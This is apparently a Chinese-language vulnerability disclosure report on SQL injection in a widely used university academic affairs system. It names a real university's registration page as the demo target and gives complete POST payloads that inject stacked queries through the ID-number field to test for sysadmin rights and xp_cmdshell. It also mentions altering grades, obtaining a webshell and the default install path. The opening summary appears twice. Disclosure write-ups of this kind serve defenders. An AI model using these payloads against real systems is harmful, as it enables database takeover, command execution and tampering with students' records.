### 简要描述: 在这个系统官网上发现该教务系统全国有535所高校在用,测试了几个都成功了,直接是SA权限的MSSQL,有个别貌似版本不一样不行,但是应该大多数都可以通杀。 ### 详细说明: 这里可以看见该系统使用学校(http://www.kingosoft.com/cgal/index1.aspx),教务系统有535所学校在用,貌似这个系统有2个版本,有一个较新的不行,但是大多数都是老版本,可以成功利用该漏洞对服务器攻击,差不多可以影响上百所高校教务系统吧。 接下来分析一下漏洞形成: 该系统有个教师注册页面没有设置访问权限(漏洞页面:http://xxx/_data/index_JSRP.aspx)任何人都可以访问,并且随便注册教师,如图1,该站是南京林业大学的,我拿来演示一下.URL(http://jwk.njfu.edu.cn/_data/index_JSRP.aspx) [<img src="https://images.seebug.org/upload/201209/242215292bfff6013e6a9f0fb00c6feabc589a30.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/242215292bfff6013e6a9f0fb00c6feabc589a30.png) 图1 然后这个页面对于表单提交的数据只进行了本地JS验证,没有进行服务端验证数据的合法性,如图2,反编译这个页面的DLL [<img src="https://images.seebug.org/upload/201209/24223059e87a5777d68335d758531635375f13bb.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/24223059e87a5777d68335d758531635375f13bb.png) 图2...
### 简要描述: 在这个系统官网上发现该教务系统全国有535所高校在用,测试了几个都成功了,直接是SA权限的MSSQL,有个别貌似版本不一样不行,但是应该大多数都可以通杀。 ### 详细说明: 这里可以看见该系统使用学校(http://www.kingosoft.com/cgal/index1.aspx),教务系统有535所学校在用,貌似这个系统有2个版本,有一个较新的不行,但是大多数都是老版本,可以成功利用该漏洞对服务器攻击,差不多可以影响上百所高校教务系统吧。 接下来分析一下漏洞形成: 该系统有个教师注册页面没有设置访问权限(漏洞页面:http://xxx/_data/index_JSRP.aspx)任何人都可以访问,并且随便注册教师,如图1,该站是南京林业大学的,我拿来演示一下.URL(http://jwk.njfu.edu.cn/_data/index_JSRP.aspx) [<img src="https://images.seebug.org/upload/201209/242215292bfff6013e6a9f0fb00c6feabc589a30.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/242215292bfff6013e6a9f0fb00c6feabc589a30.png) 图1 然后这个页面对于表单提交的数据只进行了本地JS验证,没有进行服务端验证数据的合法性,如图2,反编译这个页面的DLL [<img src="https://images.seebug.org/upload/201209/24223059e87a5777d68335d758531635375f13bb.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/24223059e87a5777d68335d758531635375f13bb.png) 图2 可以发现服务端对于输入数据完全没有过滤,业务逻辑是考虑了防SQL注入的,因为注册数据插入数据库是直接写的函数,然后用dataset的进行rowadd,貌似没有发现可以利用注入的地方,如图3是插入数据库的函数。 [<img src="https://images.seebug.org/upload/201209/24223118b5e11ef51bdc9b138d79b29f5ba725c9.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/24223118b5e11ef51bdc9b138d79b29f5ba725c9.png) 图3 但是,不是这样就意味着不能注入了,好歹服务器完全没有过滤刚刚的东西,然后我就继续去分析这个代码的处理流程,发现了一个有问题的地方,如图4 [<img src="https://images.seebug.org/upload/201209/24223144952da8ff6e5eb63ddeb365427f718a68.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/24223144952da8ff6e5eb63ddeb365427f718a68.png) 图4 这里对text9也就是输入的身份证号进行了验证,去查询数据库是否存在该身份证号,避免重复注册,然后跟进这个函数就会发现,如图5 [<img src="https://images.seebug.org/upload/201209/24223208217b16c2d03d1602236657ed62617747.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/24223208217b16c2d03d1602236657ed62617747.png) 图5 关键的地方就在这里了,这个函数对于text1的查询语句代入getds()执行,如图6 [<img src="https://images.seebug.org/upload/201209/24223226929099b78530fcaaefb057bae160020a.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/24223226929099b78530fcaaefb057bae160020a.png) 图6 利用SqlDataAdapter进行语句执行,可以执行多行语句,然后,大家都懂的。 我讲讲如何利用 首先自己测试自己POST数据进行注册(POST内容:txtxm=jerryl3ejerryl3e&txtxb=7&txtcsrq=1980-9-9&txtxl=test&txtxw=test&txtzc=test&txtmz=test&txtjg=test&txtlxdh=test&txtdzyx=test&txtjl=test&txtsfzh=511111111111111122),发现可以注册成功。 如图7,成功注册一个用户名为jerryl3e的教师用户,身份证号为511111111111111122 [<img src="https://images.seebug.org/upload/201209/242232551cfd0414d85b6db214c9de262153c273.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/242232551cfd0414d85b6db214c9de262153c273.png) 图7 再用该身份证号注册就会发现该身份证号已注册,说明进行了代码中有漏洞的语句,如图8 [<img src="https://images.seebug.org/upload/201209/2422332740df526bc8dfcfcb2d37fc60d3801bf9.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/2422332740df526bc8dfcfcb2d37fc60d3801bf9.png) 图8 然后就看就构造语句试试吧,如图9 [<img src="https://images.seebug.org/upload/201209/24223344b03315afe47b3642a9a3970ba0f8b9e7.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/24223344b03315afe47b3642a9a3970ba0f8b9e7.png) 图9 看看是否是SA权限(POST: txtxm=jerryl3ejerryl3e&txtxb=7&txtcsrq=1980-9-9&txtxl=test&txtxw=test&txtzc=test&txtmz=test&txtjg=test&txtlxdh=test&txtdzyx=test&txtjl=test&txtsfzh=511111111111111122' and 1=(select is_srvrolemember('sysadmin'));select '1'='1),如图10 [<img src="https://images.seebug.org/upload/201209/24223404db2042fc17289497939527d6ac4b75e3.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/24223404db2042fc17289497939527d6ac4b75e3.png) 图10 看看可不可以执行CMD(POST: txtxm=jerryl3ejerryl3e&txtxb=7&txtcsrq=1980-9-9&txtxl=test&txtxw=test&txtzc=test&txtmz=test&txtjg=test&txtlxdh=test&txtdzyx=test&txtjl=test&txtsfzh=511111111111111122' and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell');select '1'='1),如图11 [<img src="https://images.seebug.org/upload/201209/24223430bb7683844df412dc0dd3c90d7883cb56.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201209/24223430bb7683844df412dc0dd3c90d7883cb56.png) 图11 接下来就不用证明什么了,没有继续搞下去,本来想搞试试插入一个管理员,分析了登陆代码,数据插入对了,就是一直密码不对,不知道是不是版本升级什么把密码加密方式变了吧。 然后这个系统应该默认安装时候数据库是SA用户吧,所以危害很大,再结合我曾经分析的数据库字符串加密算法(http://hi.baidu.com/jerryl3e/item/565675077c15f70e3a53eeeb),很容易就进行数据库进行改成绩之类的。也可以通过这个注入点直接拿webshell,这个系统默认安装目录是:D:\KINGOSOFT\KINGOJWGL2006\JWWEB\ ### 漏洞证明: 同上。。。